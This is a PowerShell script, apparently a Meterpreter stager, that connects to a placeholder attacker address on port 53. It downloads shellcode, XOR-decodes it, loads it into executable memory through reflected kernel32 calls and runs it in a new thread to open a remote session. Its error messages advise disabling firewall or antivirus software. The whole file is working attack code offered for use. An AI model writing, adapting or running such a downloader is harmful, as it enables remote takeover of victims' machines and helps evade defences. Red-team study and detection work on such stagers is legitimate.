meterpreter_downloader.ps1

$IP = 'X.X.X.X'
$Port = 53
$VirtualAlloc = $null
$CreateThread = $null
$WaitForSingleObject = $null
$XORKEY = 0x50
function XorByteArr
{
Param
(
[Parameter(Position = 0, Mandatory = $True)] [Byte[]] $ByteArr,
[Parameter(Position = 1, Mandatory = $True)] [Byte] $XorKey
)
for($i=0; $i -lt $ByteArr.Length ; $i++)
{
$ByteArr[$i] = $ByteArr[$i] -bxor $XorKey
}
return $ByteArr
}
function Get-ProcAddress
{
Param
(
[Parameter(Position = 0, Mandatory = $True)] [String] $Module,
[Parameter(Position = 1, Mandatory = $True)] [String] $Procedure
)
$SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |
Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }
$UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
$GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle',[reflection.bindingflags] 'Public, Static', $null, [System.Reflection.CallingConventions]::Any, @([string]), $null)
$GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress',[reflection.bindingflags] 'Public, Static', $null, [System.Reflection.CallingConventions]::Any, @((New-Object System.Runtime.InteropServices.HandleRef).GetType(), [string]), $null)

$Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
$tmpPtr = New-Object IntPtr
$HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)
return $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
}
function Get-DelegateType
{
Param
(
[OutputType([Type])]
[Parameter( Position = 0)]
[Type[]]
$Parameters = (New-Object Type[](0)),
[Parameter( Position = 1 )]
[Type]
$ReturnType = [Void]
)
$Domain = [AppDomain]::CurrentDomain
$DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')
$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
$TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)
$ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
$MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
$MethodBuilder.SetImplementationFlags('Runtime, Managed')
Write-Output $TypeBuilder.CreateType()
}
function Get-NeccessaryFuncs
{
$VirtualAllocAddr = Get-ProcAddress kernel32.dll VirtualAlloc
$VirtualAllocDelegate = Get-DelegateType @([IntPtr], [Int], [Int], [Int]) ([IntPtr])
$Global:VirtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocAddr, $VirtualAllocDelegate)
$CreateThreadAddr = Get-ProcAddress kernel32.dll CreateThread
$CreateThreadDelegate = Get-DelegateType @([IntPtr], [Int], [IntPtr], [IntPtr], [Int], [IntPtr]) ([IntPtr])
$Global:CreateThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateThreadAddr, $CreateThreadDelegate)
$WaitForSingleObjectAddr = Get-ProcAddress Kernel32.dll WaitForSingleObject
$WaitForSingleObjectDelegate = Get-DelegateType @([IntPtr], [Int]) ([Int])
$Global:WaitForSingleObject = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WaitForSingleObjectAddr, $WaitForSingleObjectDelegate)
}
function Copy-ToUnmanagedMem
{
Param
(
[Parameter(Position = 0, Mandatory = $True)] [IntPtr] $UnmagedMemPointer,
[Parameter(Position = 1, Mandatory = $True)] [Byte[]] $ByteArr,
[Parameter(Position = 2, Mandatory = $True)] [Int] $UnmagedStartInd,
[Parameter(Position = 3, Mandatory = $True)] [Int] $Size
)
for ($i = 0; $i -lt $Size; $i++)
{
[System.Runtime.InteropServices.Marshal]::WriteByte($UnmagedMemPointer, $i + $UnmagedStartInd, $ByteArr[$i])
}
}
if ([IntPtr]::size -eq 4)
{
Throw "Running on x86 powershell!"
}
Get-NeccessaryFuncs
$tcpClient = New-Object System.Net.Sockets.TCPClient
Try
{
$connect = $tcpClient.Connect($IP, $Port)
}
Catch [System.Net.Sockets.SocketException]
{
$err = $_.Exception."ErrorCode"
if ($err -eq 10061)
{
Write-Error   "No connection could be made because the target machine actively refused it"
Write-Warning "Check availability of the LHOST"
}
elseif ($err -eq 10013)
{
Write-Error   "Something blocking access to the 'Connect' method, probably Firewall or AV software"
Write-Warning "Disable it and then relaunch script"
}
exit -1
}
$stream = $TcpClient.GetStream()
$payloadSizeBuff = New-Object Byte[] -ArgumentList 4
$Null = $stream.Read($payloadSizeBuff, 0, 4)
[Int]$payloadSize = [System.BitConverter]::ToInt32($payloadSizeBuff, 0)
Write-Output "Payload size - $payloadSize"
[IntPtr]$shellcodeBuff = $VirtualAlloc.Invoke([IntPtr]::Zero, [Math]::Max([Int]($payloadSize + 5), 0x1000 ), 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::WriteByte($shellcodeBuff, 0, [Byte]0xBF)
[System.Runtime.InteropServices.Marshal]::WriteIntPtr($shellcodeBuff, 1, $tcpClient.Client.Handle)
$shellcodeBuffTmp = New-Object Byte[] -ArgumentList $payloadSize
[Int]$bytesRead = 0
While ($payloadSize -gt $bytesRead)
{
[Int]$netAnswerSize = $stream.Read($shellcodeBuffTmp, $bytesRead, $tcpClient.Available)
$bytesRead += $netAnswerSize
}
$shellcodeBuffTmp = XorByteArr $shellcodeBuffTmp $XORKEY
Copy-ToUnmanagedMem $shellcodeBuff $shellcodeBuffTmp 5 $payloadSize
Write-Output "Received payload, run it in a new thread"
$threadHandle = $CreateThread.Invoke([IntPtr]::Zero, 0, $shellcodeBuff, [IntPtr]::Zero, 0, [IntPtr]::Zero)
if ($threadHandle -ne [IntPtr]::Zero)
{
Write-Output "Successfully created thread!"
Write-Output "Meterpreter session created!"
}
else
{
Write-Error "Thread creation was failed, exit..."
exit -2
}
$exitReason = $WaitForSingleObject.Invoke($threadHandle, 0xFFFFFFFF)
if ($exitReason -ne 0x0 -or $exitReason -ne 0x80)
{
Write-Error "Termination of the thread was strange (WAIT_TIMEOUT or WAIT_FAILED returned), exit..."
exit -3
}
$stream.Close()
$stream.Dispose()
$tcpClient.Close()
$tcpClient.Dispose()